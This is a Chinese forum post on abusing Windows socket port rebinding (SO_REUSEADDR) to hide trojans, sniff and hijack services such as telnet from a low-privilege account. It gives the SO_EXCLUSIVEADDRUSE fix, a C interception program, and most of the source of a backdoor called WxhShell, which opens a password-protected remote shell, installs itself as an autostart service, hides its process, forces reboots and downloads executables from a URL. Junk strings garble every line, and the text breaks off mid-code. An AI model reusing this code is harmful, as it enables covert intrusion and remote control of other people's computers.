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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /I7V\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /z-rBfdy^  
N )Z>]&5  
  saddr.sin_family = AF_INET; 9\_s&p=:.  
Clum m@z;#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); P =X]'m_B  
=2p?_.|'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (kxS0 ]=  
o,rF15  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2)=whnFS  
eGEwXza 4  
  这意味着什么?意味着可以进行如下的攻击: JqzoF}WH  
rRe5Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f-F=!^.  
+fVvH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {lds?AuK  
2w.FC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,%9XG077  
%ztZ#h~g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [K4cxqlfk  
bg zd($)u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  y<Koc>8  
KtQs uL%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 IO\1nB$0nb  
KTm^}')C8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Cv,WG]E7(  
>e Gg 1  
  #include ` i[26Qb  
  #include 1TZ[i  
  #include MJ:c";KCq0  
  #include    zVE" 6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #&|"t< }  
  int main() H:(B^uH  
  { M1Q&)am  
  WORD wVersionRequested; ]ae(t`\l^  
  DWORD ret; !4p{ b f  
  WSADATA wsaData; &[d'g0pF  
  BOOL val; p cLKE ZK  
  SOCKADDR_IN saddr; 31G:[;g  
  SOCKADDR_IN scaddr; \lK?f]qJq  
  int err; L~ &S<5?  
  SOCKET s; ,Q"'q0hM=  
  SOCKET sc; g}+|0FTV  
  int caddsize; Mk*4J]PP  
  HANDLE mt;  %j&vV>2  
  DWORD tid;   +-!3ruwSn  
  wVersionRequested = MAKEWORD( 2, 2 ); d*6f,z2=  
  err = WSAStartup( wVersionRequested, &wsaData ); ?AFb&  
  if ( err != 0 ) { )?jFz'<r  
  printf("error!WSAStartup failed!\n"); 2* g2UP  
  return -1; =Z+^n ?"  
  } 2O kID WcM  
  saddr.sin_family = AF_INET; Y][12{I{  
   LW<Lg N"L-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V6merT79  
gvc@q`_]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gclj:7U  
  saddr.sin_port = htons(23); *B&P[n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'dj3y/ k%  
  { J`5VE$2M  
  printf("error!socket failed!\n"); q[Ai^79  
  return -1; aqSOC(jU  
  } oRbWqN`F.  
  val = TRUE; g]f<k2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 29:2Xu i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Be{@ L  
  { Pim  
  printf("error!setsockopt failed!\n"); j([b)k=  
  return -1; g V]4R"/  
  } IgbuMEfL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8>x5|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [],[LkS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'ON/WKJr|W  
le5@WG/x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) URVW5c  
  { 5j`sJvq  
  ret=GetLastError(); 8$-MUF,  
  printf("error!bind failed!\n"); 6Jgl"Jw8  
  return -1; rRevyTs  
  } 'wPX.h?  
  listen(s,2); ^$oa`B^2JM  
  while(1) Apu- 9|oP  
  { nDn+lWA=g  
  caddsize = sizeof(scaddr); gxhp7c182  
  //接受连接请求  C6gSj1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6O/L~Z*t  
  if(sc!=INVALID_SOCKET) 2]fTDKh  
  { tM5(&cQ!d  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z 4}"oQk:r  
  if(mt==NULL) 7O)ATb#up  
  { }6l:'nW  
  printf("Thread Creat Failed!\n"); M Q =x:p{  
  break; Z&^vEQ  
  } \B')2phE  
  } @C-dCC?  
  CloseHandle(mt); m !:F/?B  
  } Ps0 Cc_  
  closesocket(s); ` ,T .  
  WSACleanup(); pRfKlTU\  
  return 0; UusAsezm:  
  }   Z( :\Vj"  
  DWORD WINAPI ClientThread(LPVOID lpParam) (B\Kb4m  
  { JSg=9p$  
  SOCKET ss = (SOCKET)lpParam; =F[M>o  
  SOCKET sc; ,8*A#cT B  
  unsigned char buf[4096]; OC5oxL2HTe  
  SOCKADDR_IN saddr; 0084`&Ki  
  long num;  '0f!o&?g  
  DWORD val; J|xXo  
  DWORD ret; 7_Vd%<:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0of:tZU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G,A?yM'Vw  
  saddr.sin_family = AF_INET; ,pcyU\68v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); , JH*l:7  
  saddr.sin_port = htons(23); #NT~GhWFf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LEKE+775  
  { a3A-N] ;f  
  printf("error!socket failed!\n"); ^Ip\`2^u  
  return -1; uEPm[oyX  
  } L e~D"d8  
  val = 100; o<b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) djf8FNnn  
  { fwtsr>SV  
  ret = GetLastError(); `mkOjsj &  
  return -1; :V8oWMY  
  } :TrP3wV _  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }Bh\N 5G%  
  { '1!%yKc0  
  ret = GetLastError(); S%p,.0_  
  return -1; ^p4`o>  
  } \R&ZWJKh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >CCy2W^W  
  { aQhT*OT{Q  
  printf("error!socket connect failed!\n"); rDaiA x&  
  closesocket(sc); b0f6?s  
  closesocket(ss); |{M F o)  
  return -1; !h&h;m/c  
  } jhG6,;1zMI  
  while(1) GLY,<O>D5  
  { Gyu =}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #~*v*F~3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =]Y'xzJuu  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +SV!QMIg  
  num = recv(ss,buf,4096,0); "`K73M,c?9  
  if(num>0) ;|rFP  
  send(sc,buf,num,0); s/?(G L+Ae  
  else if(num==0) x=JZ"|TE  
  break; aS3-A 4  
  num = recv(sc,buf,4096,0); 1b=\l/2  
  if(num>0) }8.$)&O$^  
  send(ss,buf,num,0); _z^&zuO  
  else if(num==0) ^CwS'/fdN  
  break;  Z1H  
  } =w7k@[Bq  
  closesocket(ss); >taT V_,  
  closesocket(sc); R{4[.  
  return 0 ; v]drDVJ   
  } yaj1nq! *"  
w2"]%WS%  
7<Ut/1$MI  
========================================================== |b Z 58{}  
Y0'~u+KS`5  
下边附上一个代码,,WXhSHELL Sr10ot&ox  
UL8"{-`_\  
========================================================== ue *mTMN  
pv|D{39Hs  
#include "stdafx.h" 0/+TQD!L  
TAM`i3{D  
#include <stdio.h> r-BqIoVT  
#include <string.h> aj+I+r"~  
#include <windows.h> p'SY 2xq-,  
#include <winsock2.h> +Y~,1ai 5^  
#include <winsvc.h> 'vIVsv<p  
#include <urlmon.h> T7G{)wm  
6l?KX  
#pragma comment (lib, "Ws2_32.lib") >*w(YB]/$V  
#pragma comment (lib, "urlmon.lib") d cht8nX7~  
5PHAd4=bJ  
#define MAX_USER   100 // 最大客户端连接数 Wm58[;%LTw  
#define BUF_SOCK   200 // sock buffer 9hwn,=Vh)  
#define KEY_BUFF   255 // 输入 buffer \]/ 6>yT  
!ImtnU}  
#define REBOOT     0   // 重启 G_p13{"IM  
#define SHUTDOWN   1   // 关机 \U`rF  
C"}]PW  
#define DEF_PORT   5000 // 监听端口 /Bnh%6#ab  
IW|1)8d  
#define REG_LEN     16   // 注册表键长度 yw?UA  
#define SVC_LEN     80   // NT服务名长度 +QrbW  
9/GC8*+  
// 从dll定义API  - zEQ/6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  b|h`v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g|3FJA/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y6%O9b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ! +Hc(i  
!Ys.KDL  
// wxhshell配置信息 x:Tm4V{  
struct WSCFG { Ps MCs|*  
  int ws_port;         // 监听端口 _1Iw"K49Qx  
  char ws_passstr[REG_LEN]; // 口令 nIP*yb}5  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z"<tEOs/En  
  char ws_regname[REG_LEN]; // 注册表键名 tO QY./I  
  char ws_svcname[REG_LEN]; // 服务名 'r`-J4icX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tTrue?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 78+PG(Q_M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q[F$6m%o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k!,&L$sG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w0t||qj^>"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4THGHS^  
PAXdIh[]  
}; UG9 Ha  
,}#l0 BY  
// default Wxhshell configuration PT`gAUCw  
struct WSCFG wscfg={DEF_PORT, l7JY`x  
    "xuhuanlingzhe", V-iY2YiR  
    1, {@[z-)N7\,  
    "Wxhshell", Z4Qq#iHZR  
    "Wxhshell", kO\aNtK  
            "WxhShell Service", j1,ir  
    "Wrsky Windows CmdShell Service", l<nL8/5{<  
    "Please Input Your Password: ", Vz&!N/0i  
  1, ygp NMq#?X  
  "http://www.wrsky.com/wxhshell.exe", NvfQa6?;  
  "Wxhshell.exe" 0l ]K%5#  
    }; Y;XEC;PXD  
S(*SUH  
// 消息定义模块 )b AcU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Hlq#X:DCn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &P{[22dQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {^ ^)bf|1'  
char *msg_ws_ext="\n\rExit."; jz;"]k  
char *msg_ws_end="\n\rQuit."; Dos`lh  
char *msg_ws_boot="\n\rReboot..."; F\;G'dm  
char *msg_ws_poff="\n\rShutdown..."; HI30-$9  
char *msg_ws_down="\n\rSave to "; Nu'T0LPNq(  
E|d 8vt  
char *msg_ws_err="\n\rErr!"; +Te;LJP  
char *msg_ws_ok="\n\rOK!"; s k_Q\0a  
EWg\\90  
char ExeFile[MAX_PATH]; wGf SVA-q\  
int nUser = 0; _6 |lw&o07  
HANDLE handles[MAX_USER]; }A%Sx!7~  
int OsIsNt; *G#W],~0  
r6`v-TY(/  
SERVICE_STATUS       serviceStatus; poYO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <OEu 4,~:  
?8Hr 9  
// 函数声明 !8U\GR `  
int Install(void); .pOTIRbA  
int Uninstall(void); ^i^/d#  
int DownloadFile(char *sURL, SOCKET wsh); Rx 4 ;X  
int Boot(int flag); *1KrI9i  
void HideProc(void); XaV h.  
int GetOsVer(void); bgjo_!J+Pp  
int Wxhshell(SOCKET wsl); /r Hd9^Y  
void TalkWithClient(void *cs); Hb;#aXHSd  
int CmdShell(SOCKET sock); *.J)7~(P  
int StartFromService(void); #yk m  
int StartWxhshell(LPSTR lpCmdLine); IOsitMOX:  
+idj,J|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *s9 +  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s^b2H !~  
/gKX%`ZF/r  
// 数据结构和表定义 zR+EJFf  
SERVICE_TABLE_ENTRY DispatchTable[] = $!x8XpR8s  
{ x\Bl^1&  
{wscfg.ws_svcname, NTServiceMain}, Y\ len  
{NULL, NULL} bCF"4KXK  
}; [g:ZIl4p\P  
q]Cmaf(  
// 自我安装 @<tkwu  
int Install(void) mRw &^7r  
{ h$FpH\-  
  char svExeFile[MAX_PATH];  IR,`-  
  HKEY key; >?q()>l  
  strcpy(svExeFile,ExeFile); mh"&KX86W  
lmZ Ssx  
// 如果是win9x系统,修改注册表设为自启动 Wej8YF@  
if(!OsIsNt) { T,,,+gPx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gD0 FRKn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x-km)2x=W  
  RegCloseKey(key); ;aip1Df  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8-c1q*q)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YAqv:  
  RegCloseKey(key); gh3XC.&  
  return 0; 3EN?{T<yf  
    } ^|?/ y=  
  } vJT %ET  
} t3.;W/0_  
else { aCe<*;b@  
_ a|zvH  
// 如果是NT以上系统,安装为系统服务  h+Dp<b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iXt >!f*  
if (schSCManager!=0) gf^"s fNk  
{ @54D<Lj  
  SC_HANDLE schService = CreateService lz?F ,].  
  ( 4 e1=b,  
  schSCManager, v_PhJKE  
  wscfg.ws_svcname, 8o-*s+EY"&  
  wscfg.ws_svcdisp, NuKktQd  
  SERVICE_ALL_ACCESS, z!quA7s<]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :[oFe/1K!4  
  SERVICE_AUTO_START, eDR4 c%  
  SERVICE_ERROR_NORMAL, x8xSA*@k  
  svExeFile, F'DO46  
  NULL, X|)Ox ,(  
  NULL, 8S[`(] )  
  NULL, z^to"j  
  NULL, gN|[n.W4  
  NULL A"8` 5qa  
  ); 9pD=E>4?#  
  if (schService!=0) uI^E9r/hB  
  { ;H5PiSq;z  
  CloseServiceHandle(schService); qh!2dj  
  CloseServiceHandle(schSCManager); Np=IZ npt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lV/-jkR  
  strcat(svExeFile,wscfg.ws_svcname); 6C>"H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5"=qVmT)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z> jk\[  
  RegCloseKey(key); y-qbK0=X4  
  return 0; 8|uFW7Q  
    } ^T83E}  
  } vq|o}6Et  
  CloseServiceHandle(schSCManager); T> cvV  
} ^fT|Wm<  
} &o>ctf.x  
*Y'@|xf*  
return 1; :gMcl"t--  
} Mvq5s+.  
M}E0Msq_o  
// 自我卸载 47b=>D8  
int Uninstall(void) g/&`NlD  
{ *6 oQW  
  HKEY key; m0+X 109  
:|3n`,  
if(!OsIsNt) { O)78 iEXi|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _Gv[ D  
  RegDeleteValue(key,wscfg.ws_regname); 7jIye8Zi8  
  RegCloseKey(key); S3rN]!B+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <RfPd+</  
  RegDeleteValue(key,wscfg.ws_regname); }=CL/JHz  
  RegCloseKey(key); ?z>7&  
  return 0; #%t&f"j2  
  } c|8[$_2  
} C 7)w8y  
} !P X`sIkT  
else { E^z\b *  
SXfuPM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &eYnO~$!  
if (schSCManager!=0) RN(>37B3_  
{ cn1UFmT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?;Ck]l#5ys  
  if (schService!=0) Gq_rZo(@  
  { $xRZU9+  
  if(DeleteService(schService)!=0) { 56k89o  
  CloseServiceHandle(schService); VPG+]> *  
  CloseServiceHandle(schSCManager); v0762w  
  return 0; $I40 hk  
  } 8zv=@`4@G  
  CloseServiceHandle(schService); }}Gz3>?24=  
  } ^V]DQ%v"I  
  CloseServiceHandle(schSCManager); #w\Bc\  
} d4OWnPHv&}  
} P%`|Tu!B  
oG5 :]/F  
return 1; Vsh7>|@  
} s ~'><ioh  
R%)ZhG*  
// 从指定url下载文件 6[g~p< 8n}  
int DownloadFile(char *sURL, SOCKET wsh) XRi/O)98o  
{ X2>qx^jT  
  HRESULT hr; ?;1^8 c0  
char seps[]= "/"; t?J Y@hT*  
char *token; bvZTB<rA  
char *file; rv>K0= t0  
char myURL[MAX_PATH]; )NG{iD{_]  
char myFILE[MAX_PATH]; %Z|]"=;6  
. C_\xb  
strcpy(myURL,sURL); .kO!8Q-;%  
  token=strtok(myURL,seps); %n<u- {`  
  while(token!=NULL) r83chR9  
  { Q"UWh~  
    file=token; 29P vPR6  
  token=strtok(NULL,seps); $6\-8zNk  
  } ;4DqtR"7Y  
6- H81y 3  
GetCurrentDirectory(MAX_PATH,myFILE); V\k?$}  
strcat(myFILE, "\\"); L`E^BuP/  
strcat(myFILE, file); V_Owi5h  
  send(wsh,myFILE,strlen(myFILE),0); NPjh2 AJm  
send(wsh,"...",3,0); #$trC)?~q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); moO=TGG;F  
  if(hr==S_OK) @Y2"=QVt  
return 0; VT.BHZ  
else ^<L;"jl%  
return 1; 1 o5DQ'~n  
9y/gWE  
} 1]eh0H  
4h:R+o ^H^  
// 系统电源模块 e~7h8?\.q  
int Boot(int flag) {)^P_zha[9  
{ }q0lbwYlb  
  HANDLE hToken; f@@2@# 5B  
  TOKEN_PRIVILEGES tkp; ('1k%`R%  
v/%q*6@  
  if(OsIsNt) { V,>_L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qta^i819  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /+pPcK  
    tkp.PrivilegeCount = 1; C4V#qhj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ni @Mqb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CV <@Rgoa  
if(flag==REBOOT) { 6*@\Qsp615  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I{Pny/d`  
  return 0; /rRQ*m_  
} b}P5*}$:9"  
else { cp|&&q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ![O@{/  
  return 0; IEb"tsel  
} `_L=~F8  
  } 6 isz  
  else { ~r`~I"ZK7^  
if(flag==REBOOT) { f@roRn8p?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XxT7YCi  
  return 0; Bsm>^zZ`YU  
} $)OUOv  
else { ^Pc>/lY$Q%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G$\2@RT9[  
  return 0; BV=L.*  
} LM_/:  
} Pw4j?pv2  
%,9iY&;U"  
return 1; *|c*/7]<  
} mPR(4Ol.  
t >89( k  
// win9x进程隐藏模块 1c=Roiq  
void HideProc(void) xJ"CAg|B  
{ p{:r4!*L  
 o^59kQT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =m@5$  
  if ( hKernel != NULL ) f3h&K}x  
  { \R& 4Nu2F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ns.[PJ"8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  )]2yTG[  
    FreeLibrary(hKernel); @a.Y9;O  
  } wEK@B&DV  
)N QtjB$  
return; [,_M@g3  
} Is6<3eQ\x  
K7&A^$`  
// 获取操作系统版本 1m-"v:fT5D  
int GetOsVer(void) lu @#)  
{ H~~I6D{8  
  OSVERSIONINFO winfo; Ty]/F+{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !=#230Y  
  GetVersionEx(&winfo); #&\hgsw/T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tK&.0)*=  
  return 1; )2X ng_,  
  else SM:SxhrGt  
  return 0; [woR9azC  
} 0y4z`rzTn  
}z&P^p)R  
// 客户端句柄模块 Y[8w0ve- g  
int Wxhshell(SOCKET wsl) @URLFMFi  
{ nbYkr*: "t  
  SOCKET wsh; H3 _7a9  
  struct sockaddr_in client; FAu G`zu  
  DWORD myID; }I7/FqrD  
;??wLNdf-  
  while(nUser<MAX_USER) Mj$dDtw  
{ WNT m  
  int nSize=sizeof(client); vx=I3o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JWG7QH  
  if(wsh==INVALID_SOCKET) return 1; pt8X.f,iA  
zx\N^R;Jq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :>lica_  
if(handles[nUser]==0) z;x `dOP  
  closesocket(wsh); amf=uysr  
else MBCA%3z08  
  nUser++; =K2Dxu_:  
  } uPe4Rr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lh* m(  
=5&)^  
  return 0; \S;% "0!  
} wxZnuCO%H8  
fiTMS:  
// 关闭 socket fmie,[  
void CloseIt(SOCKET wsh) jG{} b6  
{ S>7Zq5*  
closesocket(wsh); @M4~,O6-  
nUser--; uAyj##H  
ExitThread(0); Pi6C1uY6  
} #;juZ*I  
=!xeki]|9  
// 客户端请求句柄 O#A1)~  
void TalkWithClient(void *cs) S6H=(l58  
{ .Gl&K|/{j  
:5?ti  
  SOCKET wsh=(SOCKET)cs; 8 Oeg"d  
  char pwd[SVC_LEN]; TMG:fg&E~  
  char cmd[KEY_BUFF]; C5Q|3d  
char chr[1]; #I@]8U#,":  
int i,j; (~pcPGUG  
8{Y ?;~G  
  while (nUser < MAX_USER) { (?R  
~U8#Iq1  
if(wscfg.ws_passstr) { ;-=y}DK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nvD"_.KrJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8BNsh[+  
  //ZeroMemory(pwd,KEY_BUFF); ^Gv<Xl  
      i=0; d^ !3bv*h  
  while(i<SVC_LEN) { *cp|lW!ag  
#2DH_P  
  // 设置超时 z/fRd6|[  
  fd_set FdRead; @.*[CC;&  
  struct timeval TimeOut; W _b $E =  
  FD_ZERO(&FdRead); (uOW5,e7  
  FD_SET(wsh,&FdRead); O)Nt"k7 b  
  TimeOut.tv_sec=8; fokT)nf~^8  
  TimeOut.tv_usec=0; |k&.1NkZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Beqhe\{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mkBQX  
QC<( rx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h9+ylHW_cp  
  pwd=chr[0]; G !1- 20  
  if(chr[0]==0xd || chr[0]==0xa) { p{Pa(Z]G  
  pwd=0; W~k!qy `  
  break; [&nwB!kt  
  } U]R?O5K  
  i++; 8tA.d.8  
    } wt2S[:!p  
3N+P~v)T'  
  // 如果是非法用户,关闭 socket /F;*[JZIb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y1k/ngH  
} -(cm  
#]lUJ &M}e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &K>]!yn   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X""'}X|O  
oTI*mGR1Z  
while(1) { 7v,>sX  
F5 LQgK-z  
  ZeroMemory(cmd,KEY_BUFF); iqy}|xAU  
+crAkb}i  
      // 自动支持客户端 telnet标准   `zzX2R Je  
  j=0; mApn(&  
  while(j<KEY_BUFF) { x(]s#D!)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~;eWQwD  
  cmd[j]=chr[0]; iLmU|jdE  
  if(chr[0]==0xa || chr[0]==0xd) { ,Qyz2- w  
  cmd[j]=0; Km,tfM5j  
  break; 1 9 k$)m  
  } n[4Nu`E9  
  j++; CPVKz   
    } VdeK~#k  
''5%5(Y.r  
  // 下载文件 ~Y'e1w$`  
  if(strstr(cmd,"http://")) { m6;Xo}^w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~|uCZ.;o  
  if(DownloadFile(cmd,wsh)) w|L~+   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !'{j"tv  
  else rB4#}+Uq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .qK=lHxT  
  } ?>%u[g   
  else { >^-[Mpa(*  
,x Tbt4J  
    switch(cmd[0]) { Y~vTFOI  
  _5`M( ;hL2  
  // 帮助 K&)a3Z=(.  
  case '?': { ]#BXaBVMY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]Rj"/(X,  
    break; >`{i[60r  
  } {Y0I A97,  
  // 安装 rM?D7a{q  
  case 'i': { mCz6&  
    if(Install()) 0H>Fyl2_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ki=7nKs  
    else ESomw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BPG)m,/b  
    break; b8]oI"&G  
    } Ro<!n>H  
  // 卸载 eGTK^p  
  case 'r': { 8PEOi  
    if(Uninstall()) g rfF\_[:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8^R>y  
    else  ]Ea7b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JxLH]1b  
    break; XS!ZTb>[  
    } 6pLwwZD  
  // 显示 wxhshell 所在路径 f%|S>(   
  case 'p': { gx6&'${=#  
    char svExeFile[MAX_PATH]; H]-W$V   
    strcpy(svExeFile,"\n\r"); /7lkbL  
      strcat(svExeFile,ExeFile); iit`'}+U  
        send(wsh,svExeFile,strlen(svExeFile),0); N)!v-z,k  
    break; I !(yU  
    } ky~x4_y5  
  // 重启 &(rd{j/*  
  case 'b': { }w-`J5Eq#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >bZ#  
    if(Boot(REBOOT)) Rke:*(p*n;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8@A[ `5  
    else { :9`1bZ?a  
    closesocket(wsh); IWWFl6$-  
    ExitThread(0); kdHql>0  
    } f9Xw]G9  
    break; %om7h$D =`  
    } ZH}NlEn  
  // 关机 RdDcMZ  
  case 'd': { -of= Lp  
